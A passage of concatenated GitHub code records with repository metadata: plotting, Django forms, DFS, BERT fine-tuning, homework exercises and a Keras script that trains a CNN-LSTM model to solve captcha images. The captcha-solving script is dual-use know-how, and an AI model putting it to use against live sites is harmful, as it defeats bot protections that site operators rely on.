data.index.tz_convert(tz=pytz.FixedOffset(int(60*info['utc_offset']))).tz_localize(None)\r\n utc_offset = info['utc_offset']\r\n else:\r\n datetime = data.index.tz_localize(None)\r\n utc_offset = 0\r\n unit = '?'\r\n if 'unit' in info:\r\n unit = info['unit']\r\n \r\n # plot the correted heads\r\n if 'figsize' in kwargs:\r\n fig1, ax = plt.subplots(figsize=kwargs['figsize'])\r\n else:\r\n fig1, ax = plt.subplots()\r\n \r\n ax.plot(datetime, data.GW, c=[0.7,0.7,0.7], lw=0.5, label='Measured')\r\n ax.plot(datetime, results['WLc'], c='k', lw=0.5, label='Corrected')\r\n ax.set_xlim([datetime[0], datetime[-1]])\r\n ax.set_title(info['site'] + ': ' + loc[0] + ' (' + loc[1] + ') ') \r\n ax.set_ylabel(\"Head [\" + unit + \"]\")\r\n ax.set_xlabel('Datetime [UTC{:+.2f}]'.format(utc_offset))\r\n ax.legend()\r\n \r\n # and the response functions\r\n if 'figsize' in kwargs:\r\n fig2, ax = plt.subplots(figsize=kwargs['figsize'])\r\n else:\r\n fig2, ax = plt.subplots()\r\n ax1 = ax.twinx()\r\n \r\n #l1, = ax1.plot(results['brf']['lag'], results['brf']['irc'], ls='None', marker='.', ms=5, c=[.6,.6,.6], label='IRC')\r\n l1 = ax1.scatter(results['brf']['lag'], results['brf']['irc'], c='k', s=5, label='IRC')\r\n l2, = ax.plot(results['brf']['lag'], results['brf']['brf'], lw=1, c='k', label='BRF')\r\n \r\n ax.set_xlabel('Lag time [hours]')\r\n \r\n ax.set_title(info['site'] + ': ' + loc[0] + ' (' + loc[1] + ') ')\r\n\r\n ax.set_ylabel(\"BRF [-]\")\r\n ax.set_ylim([-0.05, 1.1])\r\n ax1.set_ylabel(\"IRC [-]\")\r\n \r\n ax.legend(handles=[l1,l2], loc='best')\r\n \r\n # fix date format issues\r\n fig1.autofmt_xdate()\r\n \r\n if isinstance(folder, str):\r\n filename = folder + '/' + site + \"_\" + loc[0] + '_(' + loc[1] + ')'\r\n \r\n print(\">> Writing files to folder: {}\".format(folder))\r\n \r\n fig1.savefig(filename + '_GW_correct.png', dpi=200, bbox_inches='tight')\r\n fig2.savefig(filename + '_GW_correct_BRF.png', dpi=200, bbox_inches='tight')\r\n \r\n return fig1, fig2\r\n ","repo_name":"HydroGeoSines/HydroGeoSines","sub_path":"hydrogeosines/view/ext/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":5883,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"78"} +{"seq_id":"10150647045","text":"from django import forms\nfrom datetime import datetime, date\nimport math\n\nfrom .models import DealStage\n\n\ndef get_start_date():\n start_quarter = date(1, 1, 1)\n current_date = datetime.now()\n quarter = math.ceil(current_date.month / 3.)\n if quarter == 1:\n start_quarter = date(current_date.year, 1, 1)\n elif quarter == 2:\n start_quarter = date(current_date.year, 4, 1)\n elif quarter == 3:\n start_quarter = date(current_date.year, 7, 1)\n elif quarter == 4:\n start_quarter = date(current_date.year, 10, 1)\n return start_quarter\n\n\ndef get_end_date():\n end_quarter = date(1, 1, 1)\n current_date = datetime.now()\n quarter = math.ceil(current_date.month / 3.)\n if quarter == 1:\n end_quarter = date(current_date.year, 3, 31)\n elif quarter == 2:\n end_quarter = date(current_date.year, 6, 30)\n elif quarter == 3:\n end_quarter = date(current_date.year, 9, 30)\n elif quarter == 4:\n end_quarter = date(current_date.year, 12, 31)\n return end_quarter\n\n\ndef get_choices():\n stages = []\n for stage in DealStage.objects.all().order_by('-probability_of_success'):\n stage_object = [stage.id, stage.name + ' ' + str(stage.probability_of_success) + '%']\n stages.append(stage_object)\n return stages\n\n\ndef get_initial():\n initial = []\n for stage in DealStage.objects.filter(probability_of_success__gt=30):\n initial.append(stage.id)\n return initial\n\n\nclass MainForm(forms.Form):\n start_date = forms.DateField(label='Дата начала отбора',\n widget=forms.DateInput(attrs={'class': 'form-control', 'type': 'date'}),\n initial=get_start_date().strftime(\"%Y-%m-%d\"))\n end_date = forms.DateField(label='Дата конца отбора',\n widget=forms.DateInput(attrs={'class': 'form-control', 'type': 'date'}),\n initial=get_end_date().strftime(\"%Y-%m-%d\"))\n deals_stages = forms.MultipleChoiceField(label='Стадии сделок',\n choices=get_choices(),\n initial=get_initial(),\n widget=forms.SelectMultiple(attrs={'class': 'custom-select'}))\n","repo_name":"den503/CADFEM_Test","sub_path":"deals/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69843139772","text":"'''\r\n¿ES UN NÚMERO PRIMO?\r\nEscribe un programa que se encargue de comprobar \r\nsi un número es o no primo.\r\nUn número primo es un número natural mayor que 1 que \r\ntiene únicamente dos divisores positivos distintos:\r\nél mismo y el 1.\r\nHecho esto, imprime los números primos entre 1 y 100.\r\n\r\n'''\r\ndef primo(numero):\r\n if numero < 2:\r\n return False\r\n for x in range (2, numero):\r\n if numero % x == 0:\r\n return False\r\n return True\r\n\r\nprint(primo(1))\r\nprint(primo(2))\r\nprint(primo(3))\r\nprint(primo(4))\r\n\r\nfor num in range(1, 101):\r\n if primo(num) == True:\r\n print(num)","repo_name":"LittleMari/Challenges_Python","sub_path":"03_Reto.py","file_name":"03_Reto.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"6409898204","text":"# The algorithm starts at the root node (selecting some arbitrary node as the root node in the case of a graph) \n# and explores as far as possible along each branch before backtracking. \n# So the basic idea is to start from the root or any arbitrary node and mark the node and move to the adjacent unmarked node \n# and continue this loop until there is no unmarked adjacent node. Then backtrack and check for other unmarked nodes and traverse them. \n\n# from collections import defaultdict \n#not using a hash for dfs decreases look up time from O(n) to O(1)\n# use set for DFS and hashmap for BFS\n\nclass GraphDFS:\n # def __init__(self):\n # self.graph = defaultdict(list)\n\n def __init__(self, V):\n self.V = V #no. of vertices\n self.adj = [[] for i in range(V)] #adjacency lists\n\n def addEdge(self, u, v):\n self.adj[u].append(v)\n\n # DFS for a given source\n # def DFS(self, source):\n # visited = [False for i in range(self.V)]\n # stack = []\n # stack.append(source)\n\n # while(len(stack)):\n # source = stack[-1]\n # stack.pop()\n # if (not visited[source]):\n # print(source, end=\" \")\n # visited[source] = True\n \n # for vertex in self.adj[source]:\n # if (not visited[vertex]):\n # stack.append(vertex)\n\n\n def DFSUtil(self, source, visited):\n stack = []\n stack.append(source)\n\n while (len(stack)):\n source = stack.pop()\n \n if (not visited[source]):\n visited[source] = True\n print(source, end = \" \")\n\n \n for vertex in range(len(self.adj[source])):\n if (not visited[vertex]):\n stack.append(vertex)\n\n\n\n\n def DFS(self):\n visited = [False] * self.V\n for i in range(self.V):\n if (not visited[i]):\n self.DFSUtil(i, visited)\n\n# g = GraphDFS(5); # Total 5 vertices in graph\n# g.addEdge(1, 0);\n# g.addEdge(0, 2);\n# g.addEdge(2, 1);\n# g.addEdge(0, 3);\n# g.addEdge(1, 4);\n \n# print(\"Following is Depth First Traversal\")\n# g.DFS(0) # calling DFS from a given source\n\nif __name__ == '__main__':\n \n g = GraphDFS(5) # Total 5 vertices in graph\n g.addEdge(1, 0)\n g.addEdge(2, 1)\n g.addEdge(3, 4)\n g.addEdge(4, 0)\n \n print(\"Following is Depth First Traversal\")\n g.DFS()","repo_name":"lipsasenapati/algorithms-for-interview","sub_path":"Graph/DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40822255691","text":"from .printerbase import PrinterBase\nfrom .align import vertical_align_string\n\n\nclass Parameters(PrinterBase):\n \"\"\"Returns a string with the list of parameter initialized as\n localparam with the module values. If there is no parameters,\n it returns an empty string.\n \"\"\"\n\n def getstr(self):\n\n idt = ' ' * self.isize\n\n strval = ''\n\n for p in self.pmod['parameters']:\n strval += idt + 'localparam'\n\n if p['type'] != '':\n strval += ' ' + p['type']\n\n if p['packed'] != '':\n strval += ' ' + p['packed']\n\n strval += ' ' + p['name']\n\n if p['value'] != '':\n strval += ' = ' + p['value']\n\n strval += ';\\n'\n\n return vertical_align_string(strval, align_char='=', nbspaces=0)\n","repo_name":"cclienti/svmodule","sub_path":"svmodule/printers/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"78"} +{"seq_id":"41041918405","text":"import numpy as np\n\n\ndef cyclize(loader):\n \"\"\" Cyclize loader \"\"\"\n while True:\n for x in loader:\n yield x\n\n\ndef uniform_indice(end, n_sample, duplicate=False, st=None):\n \"\"\" Sample from [0, end) with (almost) equidistant interval \"\"\"\n if end <= 0:\n return np.empty(0, dtype=np.int)\n\n if not duplicate and n_sample > end:\n n_sample = end\n\n # NOTE with endpoint=False, np.linspace does not sample the `end` value\n indice = np.linspace(0, end, num=n_sample, dtype=np.int, endpoint=False)\n if st is None and end:\n st = (end-1 - indice[-1]) // 2\n return indice + st\n\n\ndef sample(population, n_sample, exception=None, seed=None):\n \"\"\" sampling without replacement N elements from set with exception\n\n Params:\n population: [1d] list or set or np.ndarray\n Return: np.ndarray\n \"\"\"\n np.random.seed(seed)\n if exception is not None:\n population = set(population) - set(exception)\n if not isinstance(population, np.ndarray):\n population = np.asarray(list(population))\n\n replace = len(population) < n_sample\n ids = np.random.choice(len(population), size=n_sample, replace=replace)\n\n return population[ids]\n\n\ndef uniform_sample(population, n_sample, st=None):\n assert not isinstance(population, set), \"population should have order\"\n\n N = len(population)\n if n_sample is None:\n return population\n\n indice = uniform_indice(N, n_sample, st)\n\n if isinstance(population, np.ndarray):\n return population[indice]\n elif isinstance(population, list):\n return [population[idx] for idx in indice]\n elif isinstance(population, str):\n return ''.join([population[idx] for idx in indice])\n else:\n raise TypeError(type(population))\n","repo_name":"clovaai/lffont","sub_path":"datasets/datautils.py","file_name":"datautils.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":141,"dataset":"github-code","pt":"78"} +{"seq_id":"10193859201","text":"import numpy\n\n\n# --- ЗАДАЧА 1---\ndef max_digit(num_1, num_2):\n print(max(num_1, num_2))\n\n\nmax_digit(5, 125)\n\n\n# --- ЗАДАЧА 2---\ndef nums_difference(num_1, num_2):\n if ((num_1 - num_2) == 135) or ((num_2 - num_1) == 135):\n print('yes')\n else:\n print('no')\n\n\nnums_difference(1, 136)\n\n\n# --- ЗАДАЧА 3---\ndef seasons(month):\n if month in [12, 1, 2]:\n print('winter')\n elif month in range(3, 7):\n print('spring')\n elif month in range(6, 9):\n print('summer')\n elif month in range(9, 12):\n print('autumn')\n else:\n print(\"Try again, it's only 12 months in year\")\n\n\nseasons(6)\n\n\n# --- ЗАДАЧА 4---\ndef more_than_ten(num_1, num_2, num_3):\n if num_1 > 10 and num_2 > 10 and num_3 > 10:\n print('yes')\n else:\n print('no')\n\n\nmore_than_ten(51, 100, 15)\n\n\n# *ЗАДАЧА 5*\ndef positive_nums(samp_nums=numpy.random.randint(-100, 100, 5)):\n print(samp_nums)\n count = 0\n for i in samp_nums:\n if i > 0:\n count += 1\n return (count)\n\n\nprint(positive_nums())\n\n\n# *ЗАДАЧА 6*\ndef days_counter(years, months):\n days = years * 365 + months * 29\n print(days)\n\n\ndays_counter(10, 1)\n","repo_name":"kaikillgerda/ITMO_1_repo","sub_path":"h_w/3_hw.py","file_name":"3_hw.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"61083876","text":"n = int(input())\nmatrix = [[int(each) for each in input().split()] for x in range(n)]\nwhile True:\n coordinates = input().split()\n if coordinates[0] == \"END\":\n break\n command = coordinates[0]\n row = int(coordinates[1])\n col = int(coordinates[2])\n value = int(coordinates[3])\n if 0 <= row < n and 0 <= col < n:\n if command == \"Add\":\n matrix[row][col] += value\n elif command == \"Subtract\":\n matrix[row][col] -= value\n else:\n print(\"Invalid coordinates\")\n\nmatrix = [[str(matrix[x][each]) for each in range(n)] for x in range(n)]\nfor each in matrix:\n print(\" \".join([x for x in each]))\n","repo_name":"dhariskov/python-advanced","sub_path":"Advanced/Exercise Comprehensions/10. Matrix Modification.py","file_name":"10. Matrix Modification.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9029110787","text":"\nimport torch\nfrom torch.utils.data import DataLoader, TensorDataset\nfrom transformers import BertTokenizer, BertForSequenceClassification, AdamW, get_linear_schedule_with_warmup\nfrom tqdm import tqdm\nfrom torch.nn.utils.rnn import pad_sequence\nfrom torch.optim import AdamW, SGD\nimport numpy as np\n\ndef accuracy_score(y_true, y_pred):\n \"\"\"\n Calculates the accuracy score given true labels and predicted labels.\n \"\"\"\n y_pred = np.round(y_pred).astype(int)\n accuracy = np.mean(y_true == y_pred)\n return accuracy\n\nclass BertTransferModel:\n \"\"\"\n A class to fine-tune a BERT model for sentence pair classification tasks.\n\n Attributes\n ----------\n tokenizer : transformers.BertTokenizer\n BERT tokenizer for encoding sentences.\n model : transformers.BertForSequenceClassification\n BERT model for sequence classification.\n max_length : int\n Maximum length for encoding sentences (default: 128).\n batch_size : int\n Batch size for training (default: 16).\n learning_rate : float\n Learning rate for the optimizer (default: 2e-5).\n num_epochs : int\n Number of epochs for training (default: 3).\n\n Methods\n -------\n encode_sentences(sentences_1, sentences_2)\n Encodes two lists of sentences using the BERT tokenizer.\n create_dataset(sentences_1, sentences_2, labels)\n Creates a PyTorch dataset from the encoded sentences and labels.\n fit(train_sentences_1, train_sentences_2, train_labels, optimizer_name='AdamW')\n Fine-tunes the BERT model using the given sentences and labels.\n custom_dataloader_padder(batch):\n Pad to the good format for Dataloader object\n predict(sentences_1, sentences_2, model=None)\n Predicts the labels for the given sentence pairs using a pre-trained or trained model.\n \"\"\"\n \n def __init__(self, model_name='bert-base-uncased', max_length=128, batch_size=16, learning_rate=2e-5, num_epochs=3):\n self.tokenizer = BertTokenizer.from_pretrained(model_name)\n self.model = BertForSequenceClassification.from_pretrained(model_name, num_labels=2)\n self.max_length = max_length\n self.batch_size = batch_size\n self.learning_rate = learning_rate\n self.num_epochs = num_epochs\n \n def encode_sentences(self, sentences_1, sentences_2):\n \"\"\"\n Encodes two lists of sentences using the BERT tokenizer.\n\n Parameters\n ----------\n sentences_1 : list of str\n The first set of sentences.\n sentences_2 : list of str\n The second set of sentences.\n\n Returns\n -------\n input_ids : torch.Tensor\n Tensor containing input IDs for each sentence pair.\n attention_masks : torch.Tensor\n Tensor containing attention masks for each sentence pair.\n token_type_ids : torch.Tensor\n Tensor containing token type IDs for each sentence pair.\n \"\"\"\n\n input_ids, attention_masks, token_type_ids = [], [], []\n\n for sent1, sent2 in zip(sentences_1, sentences_2):\n encoded = self.tokenizer(sent1, sent2, max_length=self.max_length, padding='max_length', truncation=True, return_tensors='pt')\n input_ids.append(encoded['input_ids'])\n attention_masks.append(encoded['attention_mask'])\n token_type_ids.append(encoded['token_type_ids'])\n\n input_ids = torch.cat(input_ids, dim=0)\n attention_masks = torch.cat(attention_masks, dim=0)\n token_type_ids = torch.cat(token_type_ids, dim=0)\n\n return input_ids, attention_masks, token_type_ids\n\n\n def create_dataset(self, sentences_1, sentences_2, labels):\n \"\"\"\n Creates a PyTorch dataset from the encoded sentences and labels.\n\n Parameters\n ----------\n sentences_1 : list of str\n The first set of sentences.\n sentences_2 : list of str\n The second set of sentences.\n labels : list of int\n The corresponding labels for each sentence pair.\n\n Returns\n -------\n dataset : torch.utils.data.TensorDataset\n PyTorch dataset containing the input IDs, attention masks, token type IDs, and labels.\n \"\"\"\n \n input_ids, attention_masks, token_type_ids = self.encode_sentences(sentences_1, sentences_2)\n labels = torch.tensor(labels, dtype=torch.long)\n dataset = TensorDataset(input_ids, attention_masks, token_type_ids, labels)\n return dataset\n \n def custom_dataloader_padder(self,batch):\n \"\"\"\n Pads the input sequences to have the same length and returns a dataloader for the BERT model.\n \"\"\"\n input_ids, attention_masks, token_type_ids, labels = zip(*batch)\n input_ids = pad_sequence(input_ids, batch_first=True, padding_value=self.tokenizer.pad_token_id)\n attention_masks = pad_sequence(attention_masks, batch_first=True, padding_value=0)\n token_type_ids = pad_sequence(token_type_ids, batch_first=True, padding_value=0)\n labels = torch.tensor(labels, dtype=torch.long)\n return input_ids, attention_masks, token_type_ids, labels\n \n def fit(self, train_sentences_1, train_sentences_2, train_labels, val_sentences_1, val_sentences_2, val_labels, optimizer_name='AdamW'):\n \"\"\"\n Fine-tunes the BERT model using the given sentences and labels.\n\n Parameters\n ----------\n train_sentences_1 : list of str\n The first set of training sentences.\n train_sentences_2 : list of str\n The second set of training sentences.\n train_labels : list of int\n The labels for the training data.\n val_sentences_1 : list of str\n The first set of validation sentences.\n val_sentences_2 : list of str\n The second set of validation sentences.\n val_labels : list of int\n The labels for the validation data.\n optimizer_name : str, optional\n The name of the optimizer to use for fine-tuning (default: 'AdamW').\n Supported optimizers: 'AdamW', 'SGD'.\n \"\"\"\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n self.model.to(device)\n train_dataset = self.create_dataset(train_sentences_1, train_sentences_2, train_labels)\n train_dataloader = DataLoader(train_dataset, batch_size=self.batch_size, shuffle=True, collate_fn=self.custom_dataloader_padder, drop_last=True)\n\n val_dataset = self.create_dataset(val_sentences_1, val_sentences_2, val_labels)\n val_dataloader = DataLoader(val_dataset, batch_size=self.batch_size, shuffle=False, collate_fn=self.custom_dataloader_padder, drop_last=False)\n\n optimizers = {\n 'AdamW': AdamW(self.model.parameters(), lr=self.learning_rate),\n 'SGD': SGD(self.model.parameters(), lr=self.learning_rate, momentum=0.9)\n }\n\n optimizer = optimizers[optimizer_name]\n\n num_training_steps = len(train_dataloader) * self.num_epochs\n warmup_steps = int(0.1 * num_training_steps)\n scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=warmup_steps, num_training_steps=num_training_steps)\n\n train_accuracies, val_accuracies = [], []\n\n for epoch in range(self.num_epochs):\n self.model.train()\n running_loss = 0.0\n epoch_preds, epoch_labels = [], []\n\n for batch in tqdm(train_dataloader, desc=f\"Epoch {epoch+1}/{self.num_epochs} (Train)\"):\n optimizer.zero_grad()\n input_ids, attention_masks, token_type_ids, labels = batch\n outputs = self.model(input_ids, attention_mask=attention_masks, token_type_ids=token_type_ids, labels=labels)\n # Move the input data to the GPU if available\n input_ids = input_ids.to(device)\n attention_masks = attention_masks.to(device)\n token_type_ids = token_type_ids.to(device)\n labels = labels.to(device) \n \n loss = outputs.loss\n running_loss += loss.item()\n loss.backward()\n optimizer.step()\n scheduler.step()\n\n logits = outputs.logits\n preds = torch.argmax(logits, dim=1)\n epoch_preds.extend(preds.detach().cpu().numpy())\n epoch_labels.extend(labels.detach().cpu().numpy())\n\n epoch_train_accuracy = accuracy_score(epoch_labels, epoch_preds)\n train_accuracies.append(epoch_train_accuracy)\n\n val_accuracy = self.evaluate(val_dataloader)\n val_accuracies.append(val_accuracy)\n\n print(f'Epoch: {epoch+1}, Train Loss: {running_loss/len(train_dataloader):.4f}, Train Accuracy: {epoch_train_accuracy:.4f}, Val Accuracy: {val_accuracy:.4f}')\n\n return train_accuracies, val_accuracies\n \n def predict(self, sentences_1, sentences_2, model_path=None):\n \"\"\"\n Predicts the labels for the given sentence pairs using the trained model.\n\n Parameters\n ----------\n sentences_1 : list of str\n The first set of sentences.\n sentences_2 : list of str\n The second set of sentences.\n model_path : str, optional\n The path to the saved model. If None, uses the trained model (default: None).\n\n Returns\n -------\n preds : list of int\n The predicted labels for each sentence pair.\n \"\"\"\n if model_path:\n model = BertForSequenceClassification.from_pretrained(self.model)\n model.load_state_dict(model_path)\n\n else:\n model = self.model\n\n input_ids, attention_masks, token_type_ids = self.encode_sentences(sentences_1, sentences_2)\n dataset = TensorDataset(input_ids, attention_masks, token_type_ids)\n dataloader = DataLoader(dataset, batch_size=self.batch_size)\n\n model.eval()\n preds = []\n\n with torch.no_grad():\n for batch in dataloader:\n input_ids, attention_masks, token_type_ids = batch\n outputs = model(input_ids, attention_mask=attention_masks, token_type_ids=token_type_ids)\n logits = outputs.logits\n batch_preds = torch.argmax(logits, dim=1)\n preds.extend(batch_preds.detach().cpu().numpy())\n\n return preds\n\n\n\n\n","repo_name":"luciegaba/paraphrase-identification","sub_path":"scripts/BERTFineTuner_model.py","file_name":"BERTFineTuner_model.py","file_ext":"py","file_size_in_byte":10484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"36598275118","text":"extensions = {\"jpg\": \"image/jpg\",\n\"jpeg\": \"image/jpeg\",\n\"gif\": \"image/gif\",\n\"png\": \"image/png\",\n\"pdf\": \"application/pdf\",\n\"txt\": \"text/plain\",\n\"zip\": \"application/zip\"\n}\n\nname = input(\"Enter the name of the file : \").lower().strip()\n\next = name.split(sep = \".\")\n#the next step is used to account for names that might be more than a single words, bcz in any case the last letter will be the extension\next = ext[::-1]\n\nif ext[0] in extensions:\n print(extensions[ext[0]])\nelse:\n print(\"application/octet-stream\")\n","repo_name":"goyalharshit79/Python-C","sub_path":"extensions/extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30558711398","text":"import os\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom glob import glob\nfrom pathlib import Path\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom PIL import Image\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '-1'\n\n# Preview Dataset\nimg_list = glob('captcha/*.png')\n\n# PreProcessing\nimgs = []\nlabels = []\nmax_length = 4\n\nfor img_path in img_list:\n imgs.append(img_path)\n\n label = os.path.splitext(os.path.basename(img_path))[0]\n labels.append(label)\n\n if len(label) > max_length:\n max_length = len(label)\n\n#characters = set(''.join(labels))\ncharacters = sorted(list(set([char for label in labels for char in label])))\n\n# Encode Labels\nchar_to_num = layers.experimental.preprocessing.StringLookup(\n vocabulary=list(characters), num_oov_indices=1, mask_token=None\n)\n\nnum_to_char = layers.experimental.preprocessing.StringLookup(\n vocabulary=char_to_num.get_vocabulary(), num_oov_indices=1, mask_token=None, invert=True\n)\n\n# Split Dataset\nfrom sklearn.model_selection import train_test_split\n\nx_train, x_val, y_train, y_val = train_test_split(imgs, labels, test_size=0.1, random_state=2021)\n\n# Create Data Generator\nimg_width = 200\nimg_height = 50\n\ndef encode_single_sample(img_path, label):\n # 1. Read image\n img = tf.io.read_file(img_path)\n # 2. Decode and convert to grayscale\n img = tf.io.decode_png(img, channels=1)\n # 3. Convert to float32 in [0, 1] range\n img = tf.image.convert_image_dtype(img, tf.float32)\n # 4. Resize to the desired size\n img = tf.image.resize(img, [img_height, img_width])\n # 5. Transpose the image because we want the time\n # dimension to correspond to the width of the image.\n img = tf.transpose(img, perm=[1, 0, 2])\n # 6. Map the characters in label to numbers\n label = char_to_num(tf.strings.unicode_split(label, input_encoding='UTF-8'))\n # 7. Return a dict as our model is expecting two inputs\n return {'image': img, 'label': label}\n\n#preview = encode_single_sample(imgs[0], labels[0])\n \n\nbatch_size = 16\n\ntrain_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))\ntrain_dataset = (\n train_dataset.map(\n encode_single_sample, num_parallel_calls=tf.data.experimental.AUTOTUNE\n )\n .batch(batch_size)\n .prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n)\n\nvalidation_dataset = tf.data.Dataset.from_tensor_slices((x_val, y_val))\nvalidation_dataset = (\n validation_dataset.map(\n encode_single_sample, num_parallel_calls=tf.data.experimental.AUTOTUNE\n )\n .batch(batch_size)\n .prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n)\n\n# 실제 예측을 할 이미지를 저장\ndef get_cap(img_path):\n return encode_single_sample(glob(img_path)[0], labels[0])\nimg_test = get_cap(\"captcha.png\")\n\ntest_img_path=[\"captcha.png\"]\ntest_dataset = tf.data.Dataset.from_tensor_slices((test_img_path[0:1], ['']))\ntest_dataset = (\n test_dataset.map(\n encode_single_sample, num_parallel_calls=tf.data.experimental.AUTOTUNE\n )\n .batch(batch_size)\n .prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n)\n\n\n# Model\nclass CTCLayer(layers.Layer):\n def __init__(self, name=None, **kwargs):\n super().__init__(name=name, **kwargs)\n self.loss_fn = keras.backend.ctc_batch_cost\n\n def call(self, y_true, y_pred):\n # Compute the training-time loss value and add it\n # to the layer using `self.add_loss()`.\n batch_len = tf.cast(tf.shape(y_true)[0], dtype='int64')\n input_length = tf.cast(tf.shape(y_pred)[1], dtype='int64')\n label_length = tf.cast(tf.shape(y_true)[1], dtype='int64')\n\n input_length = input_length * tf.ones(shape=(batch_len, 1), dtype='int64')\n label_length = label_length * tf.ones(shape=(batch_len, 1), dtype='int64')\n\n loss = self.loss_fn(y_true, y_pred, input_length, label_length)\n self.add_loss(loss)\n\n # At test time, just return the computed predictions\n return y_pred\n\n def get_config(self):\n config = super(CTCLayer, self).get_config()\n config.update({\"name\":self.name})\n return config\n\ndef build_model():\n # Inputs to the model\n input_img = layers.Input(\n shape=(img_width, img_height, 1), name='image', dtype='float32'\n )\n labels = layers.Input(name='label', shape=(None,), dtype='float32')\n\n # First conv block\n x = layers.Conv2D(\n 32,\n (3, 3),\n activation='relu',\n kernel_initializer='he_normal',\n padding='same',\n name='Conv1',\n )(input_img)\n x = layers.MaxPooling2D((2, 2), name='pool1')(x)\n\n # Second conv block\n x = layers.Conv2D(\n 64,\n (3, 3),\n activation='relu',\n kernel_initializer='he_normal',\n padding='same',\n name='Conv2',\n )(x)\n x = layers.MaxPooling2D((2, 2), name='pool2')(x)\n\n # We have used two max pool with pool size and strides 2.\n # Hence, downsampled feature maps are 4x smaller. The number of\n # filters in the last layer is 64. Reshape accordingly before\n # passing the output to the RNN part of the model\n new_shape = ((img_width // 4), (img_height // 4) * 64)\n x = layers.Reshape(target_shape=new_shape, name='reshape')(x)\n x = layers.Dense(64, activation='relu', name='dense1')(x)\n x = layers.Dropout(0.2)(x)\n\n # RNNs\n x = layers.Bidirectional(layers.LSTM(128, return_sequences=True, dropout=0.25))(x)\n x = layers.Bidirectional(layers.LSTM(64, return_sequences=True, dropout=0.25))(x)\n\n # Output layer\n x = layers.Dense(\n len(char_to_num.get_vocabulary()) + 1, activation='softmax', name='dense2'\n )(x)\n\n # Add CTC layer for calculating CTC loss at each step\n output = CTCLayer(name='ctc_loss')(labels, x)\n\n # Define the model\n model = keras.models.Model(\n inputs=[input_img, labels], outputs=output, name='ocr_model_v1'\n )\n # Optimizer\n opt = keras.optimizers.Adam()\n # Compile the model and return\n model.compile(optimizer=opt)\n return model\n \n\n# Get the model\nmodel = build_model()\n\nepochs = 100\nearly_stopping_patience = 1000\n# Train\nearly_stopping = keras.callbacks.EarlyStopping(\n monitor='val_loss', patience=early_stopping_patience, restore_best_weights=True\n)\n\nhistory = model.fit(\n train_dataset,\n validation_data=validation_dataset,\n epochs=epochs,\n callbacks=[early_stopping],\n)\n\n\n# Test Inference\nprediction_model = keras.models.Model(\n model.get_layer(name='image').input, model.get_layer(name='dense2').output\n)\n\n\n# Save model\nprediction_model.save('./model')\n\n# Load model\nfrom tensorflow.keras.models import load_model\nnewmodel = load_model('./model', custom_objects={'CTCLayer':CTCLayer})\n\n\n# 데이터 디코딩\ndef decode_batch_predictions(pred):\n input_len = np.ones(pred.shape[0]) * pred.shape[1]\n # Use greedy search. For complex tasks, you can use beam search\n results = keras.backend.ctc_decode(pred, input_length=input_len, greedy=True)[0][0][\n :, :max_length\n ]\n # Iterate over the results and get back the text\n output_text = []\n for res in results:\n res = tf.strings.reduce_join(num_to_char(res)).numpy().decode('utf-8')\n output_text.append(res)\n return output_text\n\n\n# 훈련 후 모델 테스트\nfor batch in validation_dataset.take(1):\n batch_images = batch['image']\n \n preds = newmodel.predict(batch_images)\n pred_texts = decode_batch_predictions(preds)\n\n _, axes = plt.subplots(8, 4, figsize=(16, 12))\n\n for img, text, ax in zip(batch_images, pred_texts, axes.flatten()):\n img = img.numpy().squeeze()\n img = img.T\n\n ax.imshow(img, cmap='gray')\n ax.set_title(text)\n ax.set_axis_off()\nplt.show()\n\n\n# 실제 captcha 예측\nfor batch in test_dataset.take(1):\n preds = newmodel.predict(batch['image'])\n preds_texts = decode_batch_predictions(preds)\nprint(preds_texts)","repo_name":"newsoft111/community-auto-write","sub_path":"학습.py","file_name":"학습.py","file_ext":"py","file_size_in_byte":7869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22151826556","text":"#https://leetcode.com/problems/maximum-depth-of-binary-tree/\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n depth = 0;\n def getDepth(self,root,depth):\n \n if not root.left and not root.right:\n self.depth = max(self.depth, depth)\n \n if root.left: self.getDepth(root.left,depth+1)\n if root.right: self.getDepth(root.right,depth+1) \n \n def maxDepth(self, root: TreeNode) -> int:\n self.depth = 0\n if not root: return 0\n self.getDepth(root,1)\n return self.depth\n 